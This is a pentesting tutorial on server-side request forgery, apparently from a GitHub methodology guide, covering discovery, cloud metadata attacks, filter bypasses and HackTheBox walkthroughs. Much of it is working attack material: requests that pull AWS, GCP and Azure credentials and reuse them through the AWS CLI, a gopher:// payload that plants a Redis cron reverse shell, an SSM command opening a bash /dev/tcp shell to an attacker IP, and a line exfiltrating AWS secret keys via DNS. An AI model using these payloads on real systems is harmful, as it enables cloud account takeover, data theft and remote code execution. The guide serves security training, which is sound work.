Skip to content

Latest commit

 

History

History
707 lines (551 loc) · 22.8 KB

File metadata and controls

707 lines (551 loc) · 22.8 KB

SSRF — The One People Always Miss

Most vulnerability classes are obvious once you know what to look for. SSRF is the one that hides in plain sight. It does not look dangerous. It looks like a feature. A URL field. An import function. A webhook. A preview generator. Each one is a potential door into the internal network sitting behind the application — infrastructure that was never supposed to be reachable from the outside. SSRF opens that door.


🔰 Beginners: SSRF requires understanding what "internal network" means in a server context. That is explained first. Work through this in order.

Seasoned practitioners: Jump to Real Worked Examples for the workflow reference.


Before you start — know these terms:

  • SSRF (Server-Side Request Forgery) — you trick a server into making HTTP requests on your behalf. The server makes the request, not your browser. This matters because the server has access to things your browser does not.
  • Internal network — the private network that exists behind a web server. Cloud metadata services, databases, internal admin panels, and other servers that are not accessible from the internet but are accessible from the web server itself.
  • Cloud metadata service — a special internal URL that cloud providers (AWS, Google Cloud, Azure) use to give servers information about themselves. It contains credentials, configuration, and identity information. Accessible only from inside the cloud instance — unless SSRF lets you reach it from outside.
  • Blind SSRF — SSRF where the server makes the request but you cannot see the response. You can confirm it happened but cannot read the data directly.

📋 Contents


🧠 What Is SSRF — Plain English

The situation without SSRF:

You are sitting at your computer. The web application is on a server somewhere on the internet. Behind that server is a private internal network — other servers, databases, admin panels — that you cannot reach directly because they are not exposed to the internet.

You (internet) → Web Server → [Internal Network: databases, admin panels, other servers]
                 ↑
          This is the boundary
          You can reach here
          But not past it

The situation with SSRF:

The web application has a feature that makes HTTP requests — maybe it fetches a URL you provide to generate a preview, or imports data from a link, or loads a profile picture from a URL. That feature runs on the server. The server IS inside the network boundary.

You give the application a URL pointing not at an external site but at something internal. The server fetches it. The server is already inside the boundary. It can reach things you cannot.

You (internet) → Web Server → Internal Network ← the server fetches this for you
                              databases
                              admin panels
                              other servers
                              cloud credentials

The analogy:

You want to get into a members-only club but you are not a member. There is a member inside who will run errands for anyone who asks — they will go fetch things from inside the club and bring them back to the door. SSRF is convincing that member to fetch something from inside the club on your behalf. You never go in. They bring the information out to you.


💀 Why SSRF Is Dangerous

SSRF is consistently ranked as one of the most critical web vulnerabilities — it made OWASP Top 10 as its own category in 2021 for the first time. Here is why:

It bypasses network controls entirely. Firewalls, security groups, network segmentation — all of these are designed to control what can reach internal services FROM OUTSIDE. SSRF makes the request come from inside. The firewall sees an internal server talking to another internal server. That is expected traffic. Nothing gets blocked.

Cloud environments make it catastrophically worse. Every major cloud provider — AWS, Google Cloud, Azure — has a metadata service. This is a special URL that only works from inside the cloud instance. It returns credentials, API keys, and configuration data about the server. These credentials often have broad permissions across the entire cloud account.

AWS metadata service:    http://169.254.169.254/latest/meta-data/
Google Cloud metadata:   http://metadata.google.internal/
Azure metadata:          http://169.254.169.254/metadata/instance

If SSRF can reach the metadata service, those credentials are exposed. With cloud credentials an attacker can often access every S3 bucket, every database, every other service in the entire cloud account.

This is how Capital One was breached in 2019 — SSRF to metadata service to cloud credentials to 100 million customer records.


🔍 Where SSRF Hides

SSRF lives in any feature that causes the server to make an outbound HTTP request. These are the most common hiding spots:

URL input fields
→ "Enter a URL to import"
→ "Load profile picture from URL"
→ "Fetch content from link"
→ "Connect to external service"

Document and media processing
→ PDF generators that fetch URLs for content
→ Image resizers that load images from URLs
→ HTML-to-PDF converters
→ Document preview generators

Webhooks
→ "Enter a URL to receive notifications"
→ Callback URL fields
→ Integration endpoint configuration

API integrations
→ "Connect your account to..."
→ OAuth callback URLs
→ Third-party service configuration

File upload by URL
→ "Import file from URL"
→ "Download and process"

🔎 Finding SSRF Vulnerabilities

Step 1 — Identify features that take URLs:

Browse the application looking for any input that accepts a URL or looks like it causes the server to fetch something. Check every form field, every API parameter, every configuration option.

Step 2 — Test with a URL you control:

The most reliable way to confirm SSRF is to point the vulnerable parameter at a URL you control and watch for incoming requests.

# Option 1 — use Burp Collaborator (Burp Suite Pro)
# Generates a unique URL that logs all incoming requests
# Available in Burp Suite Pro → Burp → Burp Collaborator

# Option 2 — use interactsh (free and open source)
# https://github.com/projectdiscovery/interactsh
# Generates a URL that logs DNS and HTTP interactions

# Install interactsh
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Get a unique URL to use in testing
interactsh-client

# Option 3 — use your own server
# Start a listener on your machine
nc -lvnp 80
# Or a Python web server
python3 -m http.server 80
# Point the SSRF parameter at your IP

Step 3 — Test for internal access:

# Test if the server can reach localhost
http://localhost/
http://127.0.0.1/
http://0.0.0.0/

# Test common internal ports
http://localhost:8080/
http://localhost:8443/
http://localhost:3000/
http://localhost:9200/    ← Elasticsearch
http://localhost:6379/    ← Redis
http://localhost:27017/   ← MongoDB
http://localhost:5432/    ← PostgreSQL

# Test cloud metadata services
http://169.254.169.254/
http://metadata.google.internal/

⚡ Basic SSRF Exploitation

Once SSRF is confirmed, the basic exploitation workflow is straightforward — point the vulnerable parameter at targets that reveal useful information or give access to restricted services.

# Read internal services — format depends on where output appears
# If the application shows the fetched content in the response:

# Check what is running on localhost
?url=http://localhost/
?url=http://127.0.0.1/

# Check common internal admin panels
?url=http://localhost:8080/manager/html      ← Tomcat manager
?url=http://localhost:8080/console           ← JBoss/WildFly
?url=http://localhost:9200/_cat/indices      ← Elasticsearch
?url=http://localhost:2375/version           ← Docker API
?url=http://localhost:4840/                  ← Kubernetes API

# Read internal files via file:// protocol
?url=file:///etc/passwd
?url=file:///etc/hosts
?url=file:///var/www/html/config.php

# Scan internal network ranges
?url=http://192.168.1.1/
?url=http://10.0.0.1/
?url=http://172.16.0.1/

☁️ SSRF Against Cloud Metadata Services

This is the highest-value SSRF target in modern environments. If the application is hosted on a cloud provider and SSRF can reach the metadata service — you likely have access to credentials that control the entire cloud account.

AWS — Amazon Web Services

# Base metadata URL
?url=http://169.254.169.254/latest/meta-data/

# Get the IAM role name
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get credentials for the role (replace ROLENAME with what the above returned)
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME

# The response contains:
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "...",
#   "Expiration": "..."
# }

# Get instance identity (reveals account ID, region, instance ID)
?url=http://169.254.169.254/latest/dynamic/instance-identity/document

# IMDSv2 — newer AWS instances require a token first
# Step 1 — get a token (requires PUT request — may need to test differently)
# Step 2 — use token in header: X-aws-ec2-metadata-token: TOKEN

Google Cloud Platform

# Base metadata URL
?url=http://metadata.google.internal/computeMetadata/v1/

# Get service account token (requires header: Metadata-Flavor: Google)
?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Get project information
?url=http://metadata.google.internal/computeMetadata/v1/project/project-id

Microsoft Azure

# Base metadata URL
?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Get access token
?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

What to do with cloud credentials once you have them:

# Configure AWS CLI with stolen credentials
aws configure
# Enter: AccessKeyId, SecretAccessKey, Token (as session token)

# Or set environment variables directly
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Now use AWS CLI as that identity
aws sts get-caller-identity    # who are you
aws s3 ls                      # list all S3 buckets
aws ec2 describe-instances     # list all EC2 instances
aws secretsmanager list-secrets # list stored secrets

🔭 SSRF for Internal Network Scanning

SSRF can be used as a port scanner — making the server probe its own internal network and reporting what it finds based on response behavior.

# The response behavior tells you what is there:
# Fast response + content    → port is open and service responded
# Fast response + error      → port is open but rejected the request
# Timeout / no response      → port is closed or filtered

# Scan common internal hosts
?url=http://10.0.0.1/
?url=http://10.0.0.2/
?url=http://192.168.1.1/

# Scan ports on a discovered host
?url=http://10.0.0.5:22/       ← SSH
?url=http://10.0.0.5:80/       ← HTTP
?url=http://10.0.0.5:443/      ← HTTPS
?url=http://10.0.0.5:3306/     ← MySQL
?url=http://10.0.0.5:5432/     ← PostgreSQL
?url=http://10.0.0.5:6379/     ← Redis
?url=http://10.0.0.5:8080/     ← HTTP alternate
?url=http://10.0.0.5:9200/     ← Elasticsearch
?url=http://10.0.0.5:27017/    ← MongoDB

🙈 Blind SSRF

Plain English: Blind SSRF is when the server makes the request you specify but does not show you the response. You know it is making requests — you can confirm this by watching your own server for incoming connections — but you cannot read what came back.

Think of it like sending a messenger to fetch information but the messenger never comes back to tell you what they found. You know they went — you can see them leave — but you get no report.

Confirming blind SSRF:

# Step 1 — set up a listener to detect incoming connections
# Use interactsh, Burp Collaborator, or your own server

# interactsh (Linux/macOS/WSL2)
interactsh-client
# Gives you a URL like: abc123.oast.fun

# Windows — use WSL2 or download interactsh binary from:
# https://github.com/projectdiscovery/interactsh/releases

# Step 2 — point the SSRF parameter at your listener URL
?url=http://abc123.oast.fun/test

# Step 3 — watch your interactsh client for an incoming request
# If a request arrives — blind SSRF confirmed

Exploiting blind SSRF:

Since you cannot read responses directly, exploitation focuses on side effects — actions that happen as a result of the request even if you cannot see the response.

# Out-of-band data exfiltration
# Make the server include sensitive data in the URL it requests
# The data appears in your listener logs

# Example: include the server's hostname in the request
?url=http://$(hostname).abc123.oast.fun/

# Include environment variables
?url=http://`echo $AWS_SECRET_ACCESS_KEY`.abc123.oast.fun/

# Webhook-based exfiltration
?url=http://abc123.oast.fun/?data=SENSITIVE_DATA

🚧 SSRF Filter Bypasses

Applications often try to block SSRF by checking whether the URL points to internal addresses. These checks are frequently bypassable.

💡 When to use these: If basic SSRF attempts with http://127.0.0.1/ or http://169.254.169.254/ are blocked, work through these bypasses in order before concluding SSRF to internal resources is not possible.

IP Address Representation Bypasses

# Standard blocked form
http://127.0.0.1/

# Decimal representation (127.0.0.1 in decimal)
http://2130706433/

# Octal representation
http://0177.0000.0000.0001/

# Hex representation
http://0x7f000001/

# Mixed representation
http://127.0.1/
http://127.1/

# IPv6 localhost
http://[::1]/
http://[0:0:0:0:0:0:0:1]/

# Alternative localhost names
http://localhost/
http://localtest.me/      ← resolves to 127.0.0.1 via DNS
http://spoofed.burpcollaborator.net/  ← resolves to 127.0.0.1

# AWS metadata alternative representations
http://169.254.169.254/          ← standard
http://[::ffff:169.254.169.254]/ ← IPv6 mapped
http://2852039166/               ← decimal

URL Parsing Bypasses

# Using @ to confuse URL parsers
# Parser may check the hostname before @ and ignore after
http://expected-host@internal-host/

# Using # fragment
http://internal-host#expected-host

# Using a redirect
# Point SSRF at a URL you control that redirects to internal
# Your server: http://your-server/redirect
# Returns: 302 Location: http://169.254.169.254/

# DNS rebinding
# A hostname that resolves to an external IP for the check
# then resolves to 127.0.0.1 for the actual request

Protocol Bypasses

# If http:// is blocked try other protocols
file:///etc/passwd           ← read local files
dict://localhost:6379/       ← interact with Redis
gopher://localhost:6379/     ← more powerful Redis interaction
ftp://localhost/             ← FTP
sftp://localhost/            ← SFTP

🔗 Chaining SSRF to RCE

SSRF alone is powerful — credentials, internal access, sensitive data. In the right environment it chains directly to Remote Code Execution.

SSRF to Redis RCE

Plain English: Redis is an in-memory database often running internally with no authentication. If SSRF can reach it using the Gopher protocol — which lets you send raw TCP data — you can write commands directly to Redis that result in code execution.

# Gopher protocol SSRF to Redis
# This sends Redis commands to write a cron job that executes a reverse shell

?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0A%0A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20>%26%20%2Fdev%2Ftcp%2FYOUR-IP%2F4444%200>%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

SSRF to Internal Admin Panel RCE

# Step 1 — discover internal services via SSRF port scanning
?url=http://localhost:8080/

# Step 2 — if Tomcat manager is found
?url=http://localhost:8080/manager/html

# Step 3 — deploy a WAR file web shell via the manager
# (if default credentials work: tomcat/tomcat or admin/admin)
?url=http://localhost:8080/manager/deploy?war=http://YOUR-IP/shell.war

SSRF to AWS Credentials to Full Account Access

# Step 1 — get credentials via metadata service
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE

# Step 2 — configure AWS CLI
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Step 3 — enumerate permissions
aws iam get-user
aws iam list-attached-user-policies --user-name USERNAME

# Step 4 — escalate based on permissions
aws ec2 describe-instances          # find other instances
aws ssm send-command --instance-ids i-xxx --document-name "AWS-RunShellScript" \
  --parameters 'commands=["bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"]'
# SSM run command = RCE on EC2 instances if SSM is enabled

🛠️ Tools for SSRF Testing

Manual Testing

# curl for testing SSRF responses directly
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"

# When the SSRF does not show response in browser — use curl to see raw response
curl -v "http://target.com/fetch?url=http://localhost:6379/"

interactsh — Out-of-Band Detection

# Install — Linux / macOS
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# macOS alternative
brew install interactsh

# Windows
# Download binary from:
# https://github.com/projectdiscovery/interactsh/releases
# Run: interactsh-client.exe

# WSL2 (recommended for Windows)
# Follow Linux install inside WSL2

# Use
interactsh-client
# Generates URL — use it in SSRF testing
# Shows all incoming DNS and HTTP interactions

SSRFmap — Automated SSRF Exploitation

# Install — Linux / macOS / WSL2
git clone https://github.com/swisskyrepo/SSRFmap.git
cd SSRFmap
pip3 install -r requirements.txt

# Basic scan
python3 ssrfmap.py -r request.txt -p url -m readfiles

# Cloud metadata
python3 ssrfmap.py -r request.txt -p url -m cloud_aws

# Redis exploitation
python3 ssrfmap.py -r request.txt -p url -m redis

# Windows — use WSL2 with Kali, then follow Linux instructions

💥 Real Worked Examples

Example 1 — SSRF to AWS Metadata (HackTheBox: Gobox)

Scenario: A web application has a URL parameter that fetches external content to generate previews.

# Step 1 — identify the SSRF parameter
# Application has: POST /preview with body: {"url": "http://example.com"}

# Step 2 — test for internal access
curl -X POST http://target.com/preview \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1/"}'
# Internal page content returned — SSRF confirmed

# Step 3 — check for AWS metadata service
curl -X POST http://target.com/preview \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# Metadata directory listing returned

# Step 4 — get IAM credentials
curl -X POST http://target.com/preview \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Role name returned: "app-role"

curl -X POST http://target.com/preview \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role"}'
# Full credentials returned — AccessKeyId, SecretAccessKey, Token

# Step 5 — use credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls

Example 2 — SSRF to Internal Service (HackTheBox: Bucket)

Scenario: Web application accepts a URL for a webhook. Internal network has services not exposed externally.

# Step 1 — confirm SSRF via out-of-band
# Set webhook URL to your interactsh address
# Request arrives in interactsh — SSRF confirmed

# Step 2 — scan internal network
# Try common internal ranges
?webhook=http://10.0.0.1/
?webhook=http://172.16.0.1/
?webhook=http://192.168.1.1/

# Step 3 — scan discovered host for open ports
?webhook=http://10.0.0.5:6379/    ← Redis — connection accepted?
?webhook=http://10.0.0.5:9200/    ← Elasticsearch — JSON returned?

# Step 4 — exploit discovered service
# If Elasticsearch is found and unauthenticated:
?webhook=http://10.0.0.5:9200/_cat/indices
?webhook=http://10.0.0.5:9200/INDEX_NAME/_search

Practice targets:

  • HackTheBox — Gobox (SSRF to AWS metadata)
  • HackTheBox — Bucket (SSRF to internal service)
  • HackTheBox — Forge (SSRF with filter bypass)
  • PortSwigger Web Security Academy — SSRF labs (free, browser-based)
  • PentesterLab — SSRF exercises

⚔️ CTF vs Real World

CTF Real Engagement
Finding SSRF Usually one parameter — intended path Requires testing every URL input
Metadata service Common target Extremely high value — report immediately
Blind SSRF Sometimes Common — use OOB detection
Filter bypass Usually one bypass works May need creative chaining
Cloud credentials Use them for the flag Scope critical — verify before using
Internal scanning Standard technique Document carefully — noisy
Chaining to RCE Often the intended path Requires explicit scope permission
Documentation Notes Full evidence — screenshots of credentials

🔗 Related References

Resource What It Covers
RCE Chaining SSRF to code execution
Manual Exploitation Manual SSRF exploitation workflow
Shells Getting a shell after SSRF RCE
Evasion Bypassing WAF on SSRF
Vuln Research Finding SSRF CVEs

by SudoChef · Part of the SudoCode Pentesting Methodology Guide